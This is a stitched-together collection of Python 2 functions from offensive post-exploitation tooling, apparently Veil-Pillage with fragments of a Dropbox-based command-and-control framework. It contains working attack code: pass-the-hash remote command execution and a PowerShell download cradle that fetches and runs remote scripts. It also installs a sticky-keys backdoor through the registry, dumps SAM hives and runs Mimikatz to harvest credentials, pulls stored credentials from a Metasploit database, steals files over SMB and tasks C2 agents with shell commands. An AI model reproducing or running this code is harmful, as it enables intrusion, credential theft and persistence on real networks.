kill all powershell processes killCMD = "taskkill /f /im powershell.exe" self.cleanup += "executeCommand|"+target+"|"+username+"|"+password+"|"+killCMD+"|"+triggerMethod+"\n"
def do_genStager(self, args): """genStager <oneliner|batch|macro|msbuild|javascript|ducky|sct> <stage name>\nGenerates a stager of the selected type using a specific published stage name""" # Checking args if not args: print helpers.color("[!] Missing arguments. Command format: genStager <oneliner|batch|macro|msbuild|javascript|ducky|sct> <stage name>") return arguments = args.split() if len(arguments) < 2: print helpers.color("[!] Missing arguments. Command format: genStager <oneliner|batch|macro|msbuild|javascript|ducky|sct> <stage name>") return stagerType = arguments[0] stageName = arguments[1] if stagerType not in ['oneliner', 'batch', 'macro', 'msbuild', 'javascript', 'ducky', 'sct']: print helpers.color("[!] Invalid stager type") return if not self.statusHandler.isValidStage(stageName): print helpers.color("[!] Invalid stage: wrong name or no shared URL found") return self.mainHandler.genStager(stagerType, stageName)
def taskAgentWithShell(self, cmd): # Prepare the task format, then put the task into the command file data = "shell\n{}\n{}\n{}".format("n/a", cmd, helpers.randomString(16)) r = self.dropboxHandler.putFile( self.statusHandler.getAgentAttribute(self.agentID, 'commandFile'), Crypto.encryptData(data, self.statusHandler.masterKey)) if r is not None: print helpers.color( "[+] Agent with ID [{}] has been tasked with shell command". format(self.agentID)) else: print helpers.color("[!] Error tasking agent with ID [{}]".format( self.agentID))
def do_use(self, args): """use <agentID>\nSelect the current agent to work with. Must be an ACTIVE or SLEEPING agent""" # Checking args if not args: print helpers.color( "[!] Please specify an agent ID. Command format: use <agentID>" ) return agentID = args.split()[0] if self.statusHandler.agentIsKnown(agentID): if self.statusHandler.agentIsDead(agentID): print helpers.color( "[!] Cannot use a 'DEAD' agent. Check for ALIVE or SLEEPING agent using the 'list' command" ) return print helpers.color("[*] Using agent ID [{}]".format(agentID)) self.agentHandler.agentID = agentID agentMenu = AgentMenu(self.agentHandler, self.statusHandler) agentMenu.cmdloop() else: print helpers.color("[!] Unkown agent ID [{}]".format(agentID))
def do_use(self, args): """use <agentID>\nSelect the current agent to work with""" # Checking args if not args: print helpers.color("[!] Please specify an agent ID. Command format: use <agentID>") return agentID = args.split()[0] if not agentID in self.agentList: print helpers.color("[!] Invalid agent ID") return # Sending message to main thread to switch to a new agent ID self.c2mQueue.put({'type': 'switchAgent', 'ID': agentID}) # Waiting for main thread's response mainMessage = self.m2cQueue.get() if mainMessage['type'] == 'switchAgent': if mainMessage['value'] == 'OK': self.currentAgentID = agentID self.prompt = "[{}]#> ".format(agentID) elif mainMessage['value'] == 'NOK': print helpers.color("[!] Agent not available anymore") else: # Unexpected mainMessage type at this stage print helpers.color("[!] Unexpected message type at this stage: ") print mainMessage
def do_sendFile(self, args): """sendFile <local file> [destination directory]\nSend a local file to the current agent. If no destination directory is provided, %TEMP% is used""" if not self.statusHandler.agentCanBeTasked(self.agentHandler.agentID): print helpers.color("[!] Agent can't be tasked (either because it's DEAD or already tasked with something)") return # Checking args if not args: print helpers.color("[!] Missing arguments. Command format: sendFile <local file> [destination path]") return try: arguments = helpers.retrieveQuotedArgs(args,2) except ValueError as e: print helpers.color("[!] Wrong arguments format: {}".format(e)) return localFile = arguments[0] # Path normalization for Windows if len(arguments) > 1: # Add a trailing backslash if missing and replace forward slashes to backslashes destinationPath = arguments[1].replace("/","\\") + "\\" if arguments[1][-1] != "\\" else arguments[1].replace("/","\\") else: destinationPath = "temp" if os.path.isfile(localFile): self.agentHandler.taskAgentWithSendFile(localFile, destinationPath) else: print helpers.color("[!] Unable to find local file [{}] in the default PATH".format(localFile))
def execute_remote(self, data): """ Execute a particular command ('data') that outputs the command to self.__output. """ # if we don't have an output file, modify the command if not self.__output: command = self.__shell + 'echo ' + data + ' > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile else: command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile command += ' & ' + 'del ' + self.__batchFile # actually create the service try: resp = self.rpcsvc.CreateServiceW(self.__scHandle, self.__serviceName, self.__serviceName, command.encode('utf-16le')) except Exception as e: print "Exception:",e if "ERROR_SERVICE_EXISTS" in str(e): print helpers.color(" [!] Service already exists! Deleting and recreating...", warning=True) # try to stop/remove this service if it exists resp2 = self.rpcsvc.OpenServiceW(self.__scHandle, self.__serviceName) service = resp2['ContextHandle'] try:self.rpcsvc.StopService(service) except: pass try: self.rpcsvc.DeleteService(service) except: pass # recreate the service again resp = self.rpcsvc.CreateServiceW(self.__scHandle, self.__serviceName, self.__serviceName, command.encode('utf-16le')) # start the service service = resp['ContextHandle'] try: self.rpcsvc.StartServiceW(service) except Exception as e: pass print " [*] Removing service %s..." % self.__serviceName # delete the service and close the service handler # self.rpcsvc.StopService(service) self.rpcsvc.DeleteService(service) self.rpcsvc.CloseServiceHandle(service) # don't try to return output if we specified no output file if not self.__output: return None # otherwise return the output else: return self.get_output()
def run(self): # assume single set of credentials username, password = self.creds[0] group = self.required_options["group"][0] triggerMethod = "winexe" for target in self.targets: targetUsernames = [] # reg.exe command to query the domain group # we want to do this on each box so we can operate across domains! command = "net group \"%s\" /domain" %( group ) result = command_methods.executeResult(target, username, password, command, triggerMethod) # TODO: sanity check that we get a correct file back? # find the ---------- marker, get the bottom half, split by newline # and extract just the name fields nameParts = result[result.find("-----"):].split("\r\n")[1:-3] for part in nameParts: targetUsernames.extend(part.lower().split()) # check the task list on the host taskListResult = command_methods.executeResult(target, username, password, "tasklist /V /FO CSV", triggerMethod) # check the sessions list on the host sessionsResult = command_methods.executeResult(target, username, password, "qwinsta", triggerMethod) print "" # for each username in our target list, see if they show up in the queried results for u in targetUsernames: if u.lower() in taskListResult.lower(): self.output += "[*] User '%s\\%s' has a process on %s\n" %(group, u, target) print helpers.color("\n [*] User '%s\\%s' has a process on %s!" %(group, u, target)) time.sleep(1) if u.lower() in sessionsResult.lower(): self.output += "[*] User '%s\\%s' has a session on %s\n" %(group, u, target) print helpers.color(" [*] User '%s\\%s' has a session on %s!" %(group, u, target)) time.sleep(1) # if we have no results, add message to the output if self.output == "": self.output = "[!] No users found\n"
def powershellTrigger(targets, username, password, url, scriptArguments="", triggerMethod="wmis", outFile=None, noArch=False): """ Trigger a specific url to download a powershell script from. url - the full url (http/https) to download the second stage script from scriptArguments - the arguments to pass to the script we're invoking outFile - if you want to the script to output to a file for later retrieval, put a path here noArch - don't do the arch-independent launcher """ # this surpasses the length-limit implicit to smbexec I'm afraid :( if triggerMethod.lower() == "smbexec": print helpers.color("\n\n [!] Error: smbexec will not work with powershell invocation",warning=True) raw_input(" [*] press any key to return: ") return "" # if we get a single target, make it into a list if type(targets) is str: targets = [targets] # if the url doesn't start with http/https, assume http if not url.lower().startswith("http"): url = "http://" + url if scriptArguments.lower() == "none": scriptArguments = "" # powershell command to download/execute our secondary stage, # plus any scriptArguments we want to tack onto execution (i.e. PowerSploit) # for https, be sure to turn off warnings for self-signed certs in case we're hosting if url.lower().startswith("https"): downloadCradle = "[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};IEX (New-Object Net.WebClient).DownloadString('"+url+"');"+scriptArguments else: downloadCradle = "IEX (New-Object Net.WebClient).DownloadString('"+url+"');"+scriptArguments # get the encoded powershell command triggerCMD = helpers.encPowershell(downloadCradle, noArch=noArch) # if we want to get output from the final execution, append it if outFile: triggerCMD += " > " + outFile # execute the powershell trigger command on each target for target in targets: print "\n [*] Executing command on "+target out = command_methods.executeCommand(target, username, password, triggerCMD, triggerMethod)
def getFile(target, username, password, fileName, delete=False): """ Get a specified fileName from a target with the supplied credentials and then optionally delete it. delete = True will delete the file from the server after download """ # establish our smb connection conn = smbConn(target, username, password) out = "" # make sure we have a valid smb connection if conn: try: # if we're passed a full path filename with C:\Path\blah # strip out the preceeding "C:" if fileName.lower()[:2] == "c:": fileName = "\\".join(fileName.split("\\")[1:]) # use StringIO so we don't have to write temporarily to disk output = StringIO.StringIO() conn.getFile("C$", fileName, output.write) # delete the file from the host if 'delete' is set to True if delete: conn.deleteFile("C$", fileName) # get the text of the file and close the StringIO object off out = output.getvalue() output.close() except Exception as e: if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e): print helpers.color(" [!] Error: file '"+fileName+"' not found on " + target, warning=True) else: print helpers.color(" [!] Error in execution: " + str(e), warning=True) # close off the smb connection conn.logoff() return out
def mainMenu(modules, mainCommands): """ Print the main title, number of modules loaded, and the available commands for the main menu """ title() print " Main Menu\n" print "\t" + helpers.color(str(len(modules))) + " modules loaded\n" commands(mainCommands)
def executeCommand(target, username, password, cmd, triggerMethod="wmis"): """ This is one of the main command interface method everyone should use! Wrapper to call wmisCommand() or winexeCommand() depending on the trigger method passed, defaulting to 'wmis'. Returns "sucess" on success, and "failure" on failure. """ if triggerMethod.lower() == "wmis": return wmisCommand(target, username, password, cmd) elif triggerMethod.lower() == "winexe": return winexeCommand(target, username, password, cmd) elif triggerMethod.lower() == "smbexec": return smbexecCommand(target, username, password, cmd) else: print "method:",triggerMethod print helpers.color(" [!] Error: please specify wmis, winexe, or smbexec for a trigger method", warning=True) return "failure"
def getMSFCreds(self): """ Query the MSF database for credentials and return them as a list. """ if not self.conn or self.conn.closed == "1": print helpers.color("\n [!] Not currently connected to the MSF database\n", warning=True) return "" else: # get a cursor for our database connection cur = self.conn.cursor() # execute the query for creds -> gotta join the creds, services and hosts tables cur.execute('SELECT hosts.address, services.port, creds.user, creds.pass FROM msf3.public.creds creds INNER JOIN msf3.public.services services on creds.service_id = services.id INNER JOIN msf3.public.hosts on services.host_id = hosts.id;') # get ALL the results and close off our cursor creds = cur.fetchall() cur.close() return creds
def getCSListeners(self): """ Query the MSF database for Cobalt Strike listeners and return them. """ if not self.conn or self.conn.closed == "1": print helpers.color("\n [!] Not currently connected to the MSF database\n", warning=True) return "" else: # get a cursor for our database connection cur = self.conn.cursor() foundListeners = [] cur.execute('SELECT data FROM msf3.public.notes where ntype=\'cloudstrike.listeners\'') # get ALL the results and close off our cursor results = cur.fetchall() cur.close() try: # flatten the tuples into a list raw = [element.decode('base64','strict') for tupl in results for element in tupl] if len(raw) > 0: # decode the raw listener data listeners = raw[0].split('\x00')[-1][1:].split("\x01=")[-1].split("!!") for listener in listeners: parts = listener.split("@@") name, payload, lport, lhost = parts[0], parts[1], parts[2], parts[4] # append the listener to our internal list foundListeners.append((name, payload, lhost, lport)) except: return [] return foundListeners
def executeResult(target, username, password, cmd, triggerMethod="wmis", pause=1): """ This is one of the main command interface method everyone should use! Wrapper to call wmisExecuteResult() or winexeExecuteResult() depending on the trigger method passed, defaulting to 'wmis'. 'pause' is the number of seconds between execution of the command and the grabbing of the temporary file, defaults to 1 second Returns the result of the command on success, and "failure" on failure. """ if triggerMethod.lower() == "wmis": return wmisExecuteResult(target, username, password, cmd, pause) elif triggerMethod.lower() == "winexe": return winexeExecuteResult(target, username, password, cmd, pause) elif triggerMethod.lower() == "smbexec": return smbexecExecuteResult(target, username, password, cmd) else: print helpers.color(" [!] Error: please specify wmis, winexe, or smbexec for a trigger method", warning=True) return "failure"
def run(self): # assume single set of credentials username, password = self.creds[0] outFile = self.required_options["out_file"][0] # wmis doesn't like net * /domain commands >_< triggerMethod = "winexe" if "\\" not in outFile: # otherwise assume it's an absolute path outFile = "C:\\Windows\\Temp\\" + outFile for target in self.targets: targetUsernames = [] command = "echo NET VIEW:>>%(p)s&net view /domain>>%(p)s&echo NET USERS:>>%(p)s&net users /domain>>%(p)s&echo NET GROUPS:>>%(p)s&net groups /domain>>%(p)s&echo NET ACCOUNTS:>>%(p)s&net accounts /domain>>%(p)s"%{"p":outFile} # execute the command result = command_methods.executeCommand(target, username, password, command, triggerMethod) # wait 20 seconds for commands to run print helpers.color("\n [*] Waiting 20 seconds for enumeration commands to run on '"+target+"'", status=True) time.sleep(20) # # grab the output file and delete it out = smb.getFile(target, username, password, outFile, delete=True) if out != "": # save the file off to the appropriate location saveFile = helpers.saveModuleFile(self, target, "enum_domain.txt", out) self.output += "[*] enum_domain results using creds '"+username+":"+password+"' on "+target+" stored at "+saveFile+"\n" else: self.output += "[!] enum_domain failed using creds '"+username+":"+password+"' on "+target+" : no result file\n"
def getMSFHosts(self): """ Query the MSF database for unique hosts and return them as a list. """ if not self.conn or self.conn.closed == "1": print helpers.color("\n [!] Not currently connected to the MSF database\n", warning=True) return "" else: # get a cursor for our database connection cur = self.conn.cursor() # execute the query for unique host addresses cur.execute('SELECT DISTINCT address from msf3.public.hosts;') # get ALL the results and close off our cursor results = cur.fetchall() cur.close() # flatten the tuples into a list hosts = [element for tupl in results for element in tupl] return hosts
def run(self): # assume single set of credentials for this module username, password = self.creds[0] # see if we need to extract a domain from "domain\username" domain = "" if "/" in username: domain,username = username.split("/") executer = impacket_psexec.PSEXEC('cmd.exe', "", None, "445/SMB", username, password, domain, None) print "\n\n [*] Type "+helpers.color("'exit'") + " to exit the shell\n" for target in self.targets: executer.run(target) self.output += "[*] Impacket psexec.py shell run using creds '"+username+":"+password+"' on "+target+"\n"
def uploadFileConn(smbConn, share, uploadPath, fileName): """ Upload a specified file to an established smb connection. Takes a valid smb connection, and uploads 'fileName' to the specified share\\'uploadPath' on the target. Returns "success" if file is uploaded, "" otherwise """ # if the share isn't specified, default to C$ if not share or share == "": share = "C$" # get the remote IP for this smb connection target = smbConn.getRemoteHost() try: try: # extract out just the name of the file to upload uploadName = fileName.split("/")[-1] # read in the file contents and attempt to upload it to the smb connection f = open(fileName) smbConn.putFile(share, uploadPath+"\\"+uploadName, f.read) f.close() print helpers.color("\n [*] File "+fileName+" successfully uploaded to "+target+":"+share+"\\"+uploadPath) return "success" # sanity check in case 'fileName' doesn't exist except IOError as e: print helpers.color("\n [!] File "+fileName+" doesn't exist!", warning=True) # try to do a bit of error handling except Exception as e: if "The NETBIOS connection with the remote host timed out" in str(e): print helpers.color("\n [!] The NETBIOS connection with "+target+" timed out", warning=True) else: print helpers.color("\n [!] SMB file upload of "+fileName+" unsuccessful on " + target, warning=True) return ""
def run(self): # assume single set of credentials for this module username, password = self.creds[0] # see if we need to extract a domain from "domain\username" domain = "" if "/" in username: domain,username = username.split("/") for target in self.targets: print "\n\n [*] Type "+helpers.color("'exit'") + " to exit the shell\n" # TODO: handle hashes shell = impacket_smbclient.MiniImpacketShell(username=username, password=password, domain=domain, host=target) shell.cmdloop() self.output += "[*] Impacket smbclient.py shell run using creds '"+username+":"+password+"' on "+target+"\n"
def wmisCommand(target, username, password, cmd, outputFile=None): """ Use wmis to execute a specific command on a target with the specified creds utilizes pth-wmis from passing-the-hash toolkit. If output for the command is wanted, supply an output file to "outputFile" Returns "success" on success and "failure" on failure. """ # if we want the output of the command to be output to a file on the host if outputFile: # output result of command to C:\Windows\Temp\'output' wmisCMD = "pth-wmis -U '"+username+"%"+password+"' //"+target+" 'cmd.exe /C "+cmd+" > C:\\\\Windows\\\\Temp\\\\"+outputFile+"'" else: # just run the command wmisCMD = "pth-wmis -U '"+username+"%"+password+"' //"+target+" 'cmd.exe /C "+cmd+"'" # run the pth-wmis command on our system and get the output output = runCommand(wmisCMD) # if "Success" isn't in the command output, try to print the reason why if "Success" not in output: if "NT_STATUS_HOST_UNREACHABLE" in output or "NT_STATUS_NO_MEMORY" in output: print helpers.color(" [!] Host "+target+" unreachable", warning="True") return "error: host unreachable" elif "NT_STATUS_CONNECTION_REFUSED" in output: print helpers.color(" [!] Host "+target+" reachable but port not open", warning="True") return "error: connection refused" elif "NT_STATUS_ACCESS_DENIED" in output or "NT_STATUS_LOGON_FAILURE" in output: print helpers.color(" [!] Credentials " + username + ":" + password + " failed on "+target, warning="True") return "error: credentials failed" else: print helpers.color(" [!] Misc error on "+target, warning="True") return "error: misc failure" return "success"
def run(self): # assume single set of credentials for this module username, password = self.creds[0] # see if we need to extract a domain from "domain\username" domain = "" if "/" in username: domain, username = username.split("/") # the service name to create on the box serviceName = self.required_options["service_name"][0] executer = impacket_smbexec.CMDEXEC( "445/SMB", username, password, domain, None, "SHARE", "C$", serviceName=serviceName ) print "\n\n [*] Type " + helpers.color("'exit'") + " to exit the shell\n" for target in self.targets: executer.run(target) self.output += ( "[*] Impacket smbexec.py shell run using creds '" + username + ":" + password + "' on " + target + "\n" )
def moduleMenu(module, moduleCommands, showAll=False): """ Print the main title, the name and description of the passed module, and the module's required options and values. module - the module to display information options moduleCommands - the available module commands to display """ title() # nicely print the module name and description print " Module: \t" + helpers.color(module.name) print helpers.formatLong("Description:", module.description, frontTab=False) # nicely print out the module's required options and values if hasattr(module, 'required_options'): print "\n Required Options:\n" print " Name\t\t\tCurrent Value\tDescription" print " ----\t\t\t-------------\t-----------" # sort the dictionary by key before we output, so it looks nice for key in sorted(module.required_options.iterkeys()): desc = helpers.formatDesc(module.required_options[key][1]) print " %s\t%s\t%s" % ('{0: <16}'.format(key), '{0: <8}'.format(module.required_options[key][0]), desc) # print out all the available commands for this module if showAll: moduleCommandsShow = moduleCommands # by default skip "list", "set", "reset", and "db" as these are also on the main menu else: moduleCommandsShow = [(cmd,desc) for (cmd,desc) in moduleCommands if cmd not in ["list", "set", "setg", "reset", "db"]] # display the stripped command list commands(moduleCommandsShow)
def ls(target, username, password, path, path_error=True): """ Performs a directory listing of a given path path_error=True will print a warning if the supplied path does not exist """ # establish our smb connection conn = smbConn(target, username, password) file_names = [] if conn: try: #if our path ends with a \ strip it if path[-1:] == "\\": path = path[:-1] # if we're passed a full path filename with C:\Path\blah # strip out the preceeding "C:" if path.lower()[:2] == "c:": path = "\\".join(path.split("\\")[1:]) + "\\*" files = conn.listPath("C$", path) for f in files: file_names.append(f.get_longname()) except Exception as e: if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e): if path_error: print helpers.color(" [!] Error: " + path + " does not exist", warning=True) elif "STATUS_OBJECT_NAME_INVALID" in str(e): if path_error: print helpers.color(" [!] Error: " + path + " does not exist", warning=True) else: print helpers.color(" [!] Error in execution: " + str(e), warning=True) return file_names
def run(self): try: file_path = self.required_options["file_path"][0] # make the tmp hosting directory if it doesn't already exist if not os.path.exists(settings.TEMP_DIR + "shared/"): os.makedirs(settings.TEMP_DIR + "shared/") # grab just the file name to hsot hostedFileName = file_path.split("/")[-1] # copy the payload to the random hostedFileName in the temp directory os.system("cp "+file_path+" /"+settings.TEMP_DIR+"/shared/" + hostedFileName) # spin up the SMB server server = smb.ThreadedSMBServer() server.start() time.sleep(.5) print helpers.color("\n [*] Hosting file "+file_path+" at "+helpers.lhost()+"\\system\\"+hostedFileName) print helpers.color(" [*] Press Ctrl+C to kill the server") # sleep until Ctrl + C while 1==1: time.sleep(1) # catch any ctrl + c interrupts except KeyboardInterrupt: print helpers.color("\n\n [!] Killing SMB server...\n", warning=True) # shut the smb server down server.shutdown() # remove the temporarily hosted files os.system("rm -rf " + settings.TEMP_DIR+"/shared/") self.output += "[*] SMB server hosted "+file_path+"\n"
def winexeCommand(target, username, password, cmd, outputFile=None): """ Use pth-winexe to execute a specific command on a target with the specified creds. If you don't want to get the output of the command, i.e. for triggering a payload, pass 'output=False' Returns "success" on success and "failure" on failure. """ # add in some string escapes into the passed command - needed? # cmd = cmd.replace("\\", "\\\\") # if we want the output of the command to be output to a file on the host if outputFile: # output result of command to C:\Windows\Temp\'outputFile' winexeCMD = "pth-winexe -U '"+username+"%"+password+"' --system --uninstall //"+target+" 'cmd.exe /C "+cmd+" > C:\\\\Windows\\\\Temp\\\\"+outputFile+"'" else: # just run the command winexeCMD = "pth-winexe -U '"+username+"%"+password+"' --system --uninstall //"+target+" 'cmd.exe /C "+cmd+"'" # run the pth-winexe command on our system and get the output output = runCommand(winexeCMD) # error checking if "NT_STATUS_HOST_UNREACHABLE" in output or "NT_STATUS_NO_MEMORY" in output: print helpers.color(" [!] Host "+target+" unreachable", warning="True") return "error: host unreachable" elif "NT_STATUS_CONNECTION_REFUSED" in output: print helpers.color(" [!] Host "+target+" reachable but port not open", warning="True") return "error: connection refused" elif "NT_STATUS_ACCESS_DENIED" in output or "NT_STATUS_LOGON_FAILURE" in output: print helpers.color(" [!] Credentials " + username + ":" + password + " failed on "+target, warning="True") return "error: credentials failed" return "success"
options = [a.split("=") for a in args.m[1:]] pillage.setModule(module, options) # then back to the main menu if we get an exit pillage.mainMenu() # NOTE- if you want to run a particular module, do: # pillage.runModule('module/blah') to autorun without user interaction # AFTER you've set the appropriate options :) # perform any cleanup tasks and exit pillage.cleanup() sys.exit() # catch keyboard interrupts/rage-quits (ctrl+c) except KeyboardInterrupt: print helpers.color("\n\n [!] Rage-quit, exiting...\n", warning=True) # perform any cleanup tasks and exit try: pillage.cleanup() except: pass sys.exit() # catch all other exceptions and try to clean up gracefully except Exception as e: print helpers.color("\n\n [!] Error: " + str(e), warning=True) print helpers.color("\n [!] Saving state and exiting...\n", warning=True) try: pillage.cleanup() except: pass
def run(self): # assume single set of credentials username, password = self.creds[0] triggerMethod = self.required_options["trigger_method"][0] uploadName = self.required_options["upload_name"][0] # if we're using Veil-Evasion for payload generation if self.required_options["exe_path"][0].lower() == "veil": # create a Veil-Evasion controller object for payload generation con = controller.Controller() # check various possibly flags passed by the command line # if we don't have payload specified, jump to the main controller menu if not self.args.p: payloadPath = con.MainMenu() # otherwise, set all the appropriate payload options else: # pull out any required options from the command line and # build the proper dictionary so we can set the payload manually options = {} if self.args.c: options['required_options'] = {} for option in self.args.c: name,value = option.split("=") options['required_options'][name] = [value, ""] # pull out any msfvenom shellcode specification and msfvenom options if self.args.msfpayload: options['msfvenom'] = [self.args.msfpayload, self.args.msfoptions] # manually set the payload in the controller object con.SetPayload(self.args.p, options) # generate the payload code code = con.GeneratePayload() # grab the generated payload .exe name payloadPath = con.OutputMenu(con.payload, code, showTitle=True, interactive=False) # nicely print the title and module name again (since Veil-Evasion trashes this) messages.title() print " [*] Executing module: " + helpers.color(self.name) + "..." # sanity check if the user exited Veil-Evasion execution if not payloadPath or payloadPath == "": print helpers.color(" [!] No output from Veil-Evasion", warning=True) raw_input("\n [>] Press enter to continue: ") return "" # if we have a custom-specified .exe, use that instead else: payloadPath = self.required_options["exe_path"][0] # if the .exe path doesn't exist, print and error and return if not os.path.exists(payloadPath): print helpers.color("\n\n [!] Invalid .exe path specified", warning=True) raw_input("\n [>] Press enter to continue: ") return "" # make sure the name ends with ".exe" if not uploadName.endswith(".exe"): uploadName += ".exe" # copy the resulting binary into the temporary directory with the appropriate name os.system("cp "+payloadPath+" /tmp/"+uploadName) for target in self.targets: baseName = payloadPath.split("/")[-1] # upload the payload to C:\Windows\System32\ smb.uploadFile(target, username, password, "C$", "\\Windows\\","/tmp/"+uploadName) self.output += "[*] Binary '"+baseName+"' uploaded to C:\\Windows\\"+uploadName+" using creds '"+username+":"+password+"' on : " + target + "\n" # the registry command to set up the sethc stickkeys backdoor for the binary sethcCommand = "REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe\" /f /v Debugger /t REG_SZ /d \"C:\\Windows\\"+uploadName+"\"" # execute the sethc command and get the result sethcResult = command_methods.executeResult(target, username, password, sethcCommand, triggerMethod) if sethcResult == "": self.output += "[!] No result file, SETHC backdoor enable failed using creds '"+username+":"+password+"' on : " + target + "\n" elif "The operation completed successfully" in sethcResult: self.output += "[*] SETHC backdoor successfully enabled using creds '"+username+":"+password+"' on : " + target + "\n" # build our cleanup -> deleting this registry run value cleanupCMD = "REG DELETE \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe\" /v Debugger /f" self.cleanup += "executeCommand|"+target+"|"+username+"|"+password+"|"+cleanupCMD+"|"+triggerMethod+"\n"
def run(self): # assume single set of credentials for this module username, password = self.creds[0] lhost = self.required_options["lhost"][0] use_ssl = self.required_options["use_ssl"][0] force_method = self.required_options["force_method"][0] delay = self.required_options["delay"][0] out_file = self.required_options["out_file"][0] # let's keep track of all credentials found allhashes, allmsv, allkerberos, allwdigest, alltspkg = [], [], [], [], [] for target in self.targets: powershellInstalled = False # check if we're forcing a particular grab method if force_method.lower() == "binary": powershellInstalled = False elif force_method.lower() == "powershell": powershellInstalled = True else: # check if we have a functional Powershell installation powershellCommand = 'powershell.exe -c "$a=42;$a"' powershellResult = command_methods.executeResult(target, username, password, powershellCommand, "wmis") if powershellResult.strip() == "42": powershellInstalled = True if powershellInstalled: # do powersploit combined file of invoke-mimikatz and powerdump print helpers.color("\n [*] Powershell installed on " + target) self.output += "[*] Powershell installed on " + target + ", using autograb.ps1\n" # the temporary output file we will write to if "\\" not in out_file: # otherwise assume it's an absolute path out_file = "C:\\Windows\\Temp\\" + out_file # path to the combined Invoke-Mimikatz/powerdump powershell script secondStagePath = settings.VEIL_PILLAGE_PATH + "/data/misc/autograb.ps1" # trigger the powershell download on just this target delivery_methods.powershellHostTrigger( target, username, password, secondStagePath, lhost, "", triggerMethod="winexe", outFile=out_file, ssl=use_ssl, noArch=True, ) print "\n [*] Waiting " + delay + "s for Autograb to run..." time.sleep(int(delay)) # grab the output file and delete it out = smb.getFile(target, username, password, out_file, delete=True) # save the file off to the appropriate location saveFile = helpers.saveModuleFile(self, target, "autograb.txt", out) # parse the mimikatz output and append it to our globals (msv1_0, kerberos, wdigest, tspkg) = helpers.parseMimikatz(out) allmsv.extend(msv1_0) allkerberos.extend(kerberos) allwdigest.extend(wdigest) alltspkg.extend(tspkg) # parse the powerdump component hashes = helpers.parseHashdump(out) allhashes.extend(hashes) if out != "": self.output += ( "[*] Autograb.ps1 results using creds '" + username + ":" + password + "' on " + target + " stored at " + saveFile + "\n" ) else: self.output += ( "[!] Autograb.ps1 failed using creds '" + username + ":" + password + "' on " + target + " : no result file\n" ) else: # do reg.exe for hashdump and host/execute for mimikatz print helpers.color("\n [!] Powershell not installed on " + target, warning=True) print helpers.color("\n [*] Using reg.exe save method for hash dumping on " + target) self.output += "[!] Powershell not installed on " + target + "\n" # reg.exe command to save off the hives regSaveCommand = "reg save HKLM\\SYSTEM C:\\Windows\\Temp\\system /y && reg save HKLM\\SECURITY C:\\Windows\\Temp\\security /y && reg save HKLM\\SAM C:\\Windows\\Temp\\sam /y" # execute the registry save command command_methods.executeCommand(target, username, password, regSaveCommand, "wmis") print helpers.color("\n [*] Dumping hashes on " + target) # sleep for 5 seconds to let everything backup time.sleep(5) # grab all of the backed up files systemFile = smb.getFile(target, username, password, "C:\\Windows\\Temp\\system", delete=False) securityFile = smb.getFile(target, username, password, "C:\\Windows\\Temp\\security", delete=False) samFile = smb.getFile(target, username, password, "C:\\Windows\\Temp\\sam", delete=False) # more error-checking here? if systemFile == "": self.output += "[!] File '" + systemFile + "' from " + target + " empty or doesn't exist\n" else: f = open("/tmp/system", "w") f.write(systemFile) f.close() if securityFile == "": self.output += "[!] File '" + securityFile + "' from " + target + " empty or doesn't exist\n" else: f = open("/tmp/security", "w") f.write(securityFile) f.close() if samFile == "": self.output += "[!] File '" + samFile + "' from " + target + " empty or doesn't exist\n" else: f = open("/tmp/sam", "w") f.write(samFile) f.close() # get all the hashes from these hives out = creddump.dump_file_hashes("/tmp/system", "/tmp/sam") # save the output file off saveLocation = helpers.saveModuleFile(self, target, "creddump.txt", out) self.output += ( "[*] dumped hashes (reg.exe) using creds '" + username + ":" + password + "' on " + target + " saved to " + saveLocation + "\n" ) # save these off to the universal list hashes = helpers.parseHashdump(out) allhashes.extend(hashes) # now, detect the architecture archCommand = "echo %PROCESSOR_ARCHITECTURE%" archResult = command_methods.executeResult(target, username, password, archCommand, "wmis") arch = "x86" if "64" in archResult: arch = "x64" # now time for ze mimikatz! mimikatzPath = settings.VEIL_PILLAGE_PATH + "/data/misc/mimikatz" + arch + ".exe" # the temporary output file we will write to if "\\" not in out_file: # otherwise assume it's an absolute path out_file = "C:\\Windows\\Temp\\" + out_file exeArgs = '"sekurlsa::logonPasswords full" "exit" >' + out_file # host mimikatz.exe and trigger it ONLY on this particular machine # so we can get the architecture correct delivery_methods.hostTrigger( target, username, password, mimikatzPath, lhost, triggerMethod="wmis", exeArgs=exeArgs ) print "\n [*] Waiting " + delay + "s for Mimikatz to run..." time.sleep(int(delay)) # grab the output file and delete it out = smb.getFile(target, username, password, out_file, delete=True) # parse the mimikatz output and append it to our globals (msv1_0, kerberos, wdigest, tspkg) = helpers.parseMimikatz(out) allmsv.extend(msv1_0) allkerberos.extend(kerberos) allwdigest.extend(wdigest) alltspkg.extend(tspkg) # save the file off to the appropriate location saveFile = helpers.saveModuleFile(self, target, "mimikatz.txt", out) if out != "": self.output += ( "[*] Mimikatz results using creds '" + username + ":" + password + "' on " + target + " stored at " + saveFile + "\n" ) else: self.output += ( "[!] Mimikatz failed using creds '" + username + ":" + password + "' on " + target + " : no result file\n" ) if len(allhashes) > 0: allhashes = sorted(set(allhashes)) self.output += "[*] All unique hashes:\n\t" + "\n\t".join(allhashes) + "\n" if len(allmsv) > 0: allmsv = sorted(set(allmsv)) self.output += "[*] All msv1_0:\n\t" + "\n\t".join(allmsv) + "\n" if len(allkerberos) > 0: allkerberos = sorted(set(allkerberos)) self.output += "[*] All kerberos:\n\t" + "\n\t".join(allkerberos) + "\n" if len(allwdigest) > 0: allwdigest = sorted(set(allwdigest)) self.output += "[*] All wdigest:\n\t" + "\n\t".join(allwdigest) + "\n" if len(alltspkg) > 0: alltspkg = sorted(set(alltspkg)) self.output += "[*] All tspkg:\n\t" + "\n\t".join(alltspkg) + "\n"